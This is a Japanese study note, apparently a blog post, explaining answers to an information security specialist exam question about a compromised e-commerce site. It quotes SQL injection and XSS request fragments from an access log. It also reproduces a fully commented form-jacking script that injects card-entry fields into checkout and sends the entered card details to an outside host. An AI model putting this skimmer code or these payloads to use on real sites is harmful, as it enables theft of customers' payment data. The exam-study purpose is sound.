📘

情報処理安全確保支援士試験午後 2024年(令和6年)秋 問3

に公開

自分の中での不明点や解答について調査を行った結果をまとめています。

用語

ECMAScript(エクマスクリプト)

ECMAScript(エクマスクリプト とは、JavaScriptの標準仕様を定めたスクリプト言語の名前。JavaScript、JScript(Microsoft)、ActionScript(Adobe)などのスクリプト言語は、ECMAScriptという共通仕様に基づいている。

トークン型決済

トークン型決済とは?
トークン型決済(Token-based Payment) とは、クレジットカード番号などの機密情報の代わりに「トークン(疑似的な識別子)」を使って決済処理を行う方式です。

本来のカード情報を直接やり取りせず、使い捨てまたは限定用途の識別子(トークン)に置き換えることで、情報漏洩リスクを軽減し、安全性を高めた決済手法。

仕組みの概要

  1. ユーザがECサイトでカード決済を行う。
  2. ECサイトはカード情報を直接扱わず、**決済代行業者(PSP)**に情報を送信。
  3. PSPはカード情報を受け取ると、トークンを生成してECサイトに返す。
  4. ECサイトはトークンを保持し、以後の決済処理はこのトークンを使う。

トークンは、他の利用者・他のサイトでは無効で、万一漏洩しても悪用されにくい。

問1について

表2 Webサーバのアクセスログ とリクエストURIの説明

行番号 メソッド リクエスト URI リクエスト URIの説明 ステータスコード
1 GET /products/list?page=4&category_id=1 4ページ目の、カテゴリIDが1の商品一覧ページへのアクセス。 200
2 GET /login?id=hoge&pw=' UNION select 1 FROM・・・ ログイン処理へのアクセス。pw=の後にSQLのコメントアウトで使用される'が使われており、SQLが続くことから、SQLインジェクション攻撃を試みていると推測。 200
3 POST /mypage/userinfo マイページのユーザー情報表示ページへのアクセス。 200
4 POST /mypage/change マイページのユーザー情報変更ページへのアクセス。 200
5 GET /cart?add="><script>document.getElementById(・・・ カートに商品を追加しようとするアクセス。add=以降が"><script>から始まっていることからXSS(クロスサイトスクリプティング)攻撃を試みていると推測できる。 200
6 GET /products/list?category=green's sofa green's sofaというカテゴリの商品一覧ページへのアクセス。 200
7 PUT /shopping /shoppingというリソースに対して、PUTメソッドでアクセス。 405
8 GET /cart カートの内容を表示するページへのアクセス。 200
9 POST /payment 決済処理ページへのアクセス。 200
10 PUT /ec-j/layout/js/customize.js /ec-j/layout/js/customize.jsというJavaScriptファイルを更新しようとするアクセス。 204

上記から
攻撃① SQLインジェクション:2行目
攻撃② クロスサイトスクリプティング:5行目
のどちらか

クロスサイトスクリプティングの種類

  1. 反射型XSS(Reflected XSS)

概要: ユーザーからのリクエストに含まれる悪意のあるスクリプトが、そのままウェブサーバーを経由してユーザーのブラウザに「反射」され、実行される。

攻撃の流れ: 攻撃者は、不正なスクリプトを仕込んだURLを、メールや掲示板などでユーザーに送りつける。ユーザーがそのURLをクリックすると、ブラウザは脆弱性のあるウェブサイトにリクエストを送信する。ウェブサイトは、そのリクエストに含まれるスクリプトをそのままレスポンスに含めてしまい、ユーザーのブラウザ上でスクリプトが実行される。

特徴: 悪意のあるスクリプトはウェブサーバーに保存されることなく、リクエストとレスポンスの単一のサイクルで実行されます。そのため、「非持続型(Non-persistent)」とも呼ばれます。

  1. 格納型XSS(Stored XSS)

概要: 攻撃者がウェブアプリケーションのデータベースなどに悪意のあるスクリプトを「格納」し、そのデータが他のユーザーに表示される際にスクリプトが実行される。

攻撃の流れ: 攻撃者は、掲示板の書き込み、ブログのコメント、プロフィール欄などに不正なスクリプトを投稿する。このスクリプトはウェブサーバーに保存される。その後、他のユーザーがそのページを閲覧すると、保存されたスクリプトがブラウザ上で実行され、被害を受ける。

特徴: 一度スクリプトが格納されると、そのページにアクセスした不特定多数のユーザーが被害に遭う可能性があります。そのため、「持続型(Persistent)」とも呼ばれます。反射型XSSに比べて、広範囲な被害をもたらす危険性が高いです。

  1. DOM Based XSS(DOMベースXSS)

概要: サーバー側ではなく、ウェブブラウザ上でJavaScriptによってページが書き換えられる際に発生する脆弱性を突いたもの。

攻撃の流れ: URLのハッシュ(#以降)やJavaScriptの処理に起因して、ウェブページ上のDOM(Document Object Model)が不正に操作され、悪意のあるスクリプトが実行される。

※上記の例の場合、URLのハッシュ以降を読み取って、HTMLに表示するJavascriptが埋め込まれたサイトがある。このとき、#以降に悪意のあるスクリプトを埋め込むことにより、ユーザーのブラウザ上でスクリプトを実行させることができる。

特徴: サーバーとの通信を介さずに、クライアントサイド(ブラウザ)の処理だけで攻撃が成立することがあります。そのため、従来のサーバー側での対策(サニタイジングなど)だけでは防ぎきれない場合があり、JavaScriptの書き方に注意が必要です。

上記のように3種類の型が存在するのはクロスサイトスクリプティングのみのため、
設問1の解答は
a:5
b:クロスサイトスクリプティング
c:反射型
d:2
e:SQLインジェクション脆弱性
となる。

設問2について

図2整形後のファイル のコメント追記版

// もし現在のページのパスが'/shopping'であれば、以下の処理を実行
if (location.pathname === '/shopping') {
  // "#shopping-form > div > div.order_payment > div.radio" に該当する要素を取得…図2A
  let elem = document.querySelector("#shopping-form > div > div.order_payment > div.radio");
  
  // 取得した要素のHTMLを上書きし、カード情報の入力フォームを動的に追加…図2B
  // カード番号、有効期限(月/年)、名義、セキュリティコードの入力欄、hiddenフィールドが含まれる…図2C
  elem.innerHTML = '<p>カード番号<input type="text" id="get_number" /></p><p>有効期限<input type="text" id="get_exp_month" />月/<input type="text" id="get_exp_year" />年</p><p>名義<input type="text" id="get_name" /></p><p>セキュリティコード<input type="text" id="get_code" /></p><input type="hidden" name="order[Payment]" value="1" />';

  // "shopping-form"というIDを持つフォーム要素を取得
  let form = document.getElementById('shopping-form');
  
  // フォームが送信(submit)された際のイベントリスナーを設定…図2D
  form.addEventListener('submit', function() {
    
    // XMLHttpRequestオブジェクトを新しく作成
    const req = new XMLHttpRequest();
    
    // ID 'get_number'を持つ入力欄からカード番号の値を取得
    let number = document.getElementById('get_number').value;
    
    // ID 'get_exp_month'を持つ入力欄から有効期限の月の値を取得
    let exp_month = document.getElementById('get_exp_month').value;
    
    // ID 'get_exp_year'を持つ入力欄から有効期限の年の値を取得
    let exp_year = document.getElementById('get_exp_year').value;
    
    // ID 'get_name'を持つ入力欄から名義の値を取得
    let name = document.getElementById('get_name').value;
    
    // ID 'get_code'を持つ入力欄からセキュリティコードの値を取得
    let code = document.getElementById('get_code').value;
    
    // 取得したカード情報をクエリパラメータとして含むURLを生成…図2E
    // https://i-sha.com/?num=[カード番号]&exp=[月]%2F[年]&name=[名義]&code=[セキュリティコード]
    let url = 'https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;
    
    // 作成したURLに対してGETリクエストを開く準備…図2F
    req.open("GET", url);
    
    // 準備したGETリクエストを送信
    req.send();
  });
}

図3配送先・支払方法選択画面のHTMLソース

(省略)
// フォームの開始。IDは"shopping-form"、送信方法は"post"、送信先は"/payment"
<form id="shopping-form" method="post" action="/payment">

  // 注文セクション全体を囲むdiv
  <div class="order">

    // 注文詳細セクションを囲むdiv
    <div class="order_detail">
      // 支払い方法のセクションを囲むdiv
      <div class="order_payment">
      (省略)
      
        // 「お支払方法」という見出し
        <div><h2>お支払方法</h2></div>

        // ラジオボタンのグループを囲むdiv。このクラス名がJavaScriptで指定されている
        <div class="radio">

          // クレジットカード決済用のラジオボタン。IDは"Payment_1"、name属性は"order[Payment]"、値は"1"、初期状態で選択(checked)されている
          <input type="radio" id="Payment_1" name="order[Payment]" required data-trigger="change" value="1" checked />

          // "Payment_1"のラジオボタンと関連付けられたラベル。「クレジットカード決済」と表示
          <label for="Payment_1"><span>クレジットカード決済</span></label>

          // 銀行振込用のラジオボタン。IDは"Payment_2"、name属性は"order[Payment]"、値は"2"
          <input type="radio" id="Payment_2" name="order[Payment]" required data-trigger="change" value="2" />

          // "Payment_2"のラジオボタンと関連付けられたラベル。「銀行振込」と表示
          <label for="Payment_2"><span>銀行振込</span></label>
          
        </div>
      </div>
      (省略) 
    </div>
  </div>

  // フォームを送信するためのボタン。「次へ」と表示
  <button type="submit" class="blockBtn">次へ</button>
  
</form>
(省略)

// "customize.js"という外部JavaScriptファイルを読み込む。
<script src="/ec-j/layout/js/customize.js"></script>

</body>
</html>

上記のコードのポイント

  1. 図2Aで #shopping-form > div > div.order_payment > div.radio にマッチする要素、つまり配送先・支払い方法選択画面のラジオボタンが表示されている二つの決済方法の部分をquerySelectorを使って取得
    ※querySelectorは指定されたCSSセレクターに一致する最初の要素を文書内から探して返す。
  2. 図2BでinnerHTMLを使い、取得した要素をそのあとのHTMLに上書きする
  3. 図2Cでカード番号、有効期限(月/年)、名義、セキュリティコードの入力欄を作成する。
    またhiddenで order[Payment] を 1 にすることで、強制的にクレジットカード決済を選択させる
  4. 図2DでaddEventListenerを使い、submitが押されたと同時にその配下のプログラムが実行されるように設定
  5. 図2Eで自身が準備したサーバのアドレスと入力されたクレジットカード情報を含むURLを作成
  6. 図2FでGETメソッドを使って5で作成したURLへリクエストを送る。

回答について

  • (1)については、1~3の流れで、配送先・支払い方法選択画面の中にあったラジオボタン部分をクレジットカード関連の情報に書き換えた図を描けばよいことがわかる。
  • (2)については3でhiddenを使い、利用者に見えない形でパラメータを指定している。
    その部分を解答すればよいので、パラメータは order[Payment] 値は 1 となる
  • (3)については4~6の内容をそのまま記載すればよい。

設問3について

  • (1)については前問のポイント 5・6の部分で、GETメソッドを使ってURLリクエストを送っていることを考慮すればすぐ理解できる。
  • (2)については、22ページ(1ページ目)のログの仕様と自分が対象者を抽出する際をイメージすれば、配送先・支払方法選択画面にアクセスしたアカウントを抽出すればよいことはすぐにわかる。

Discussion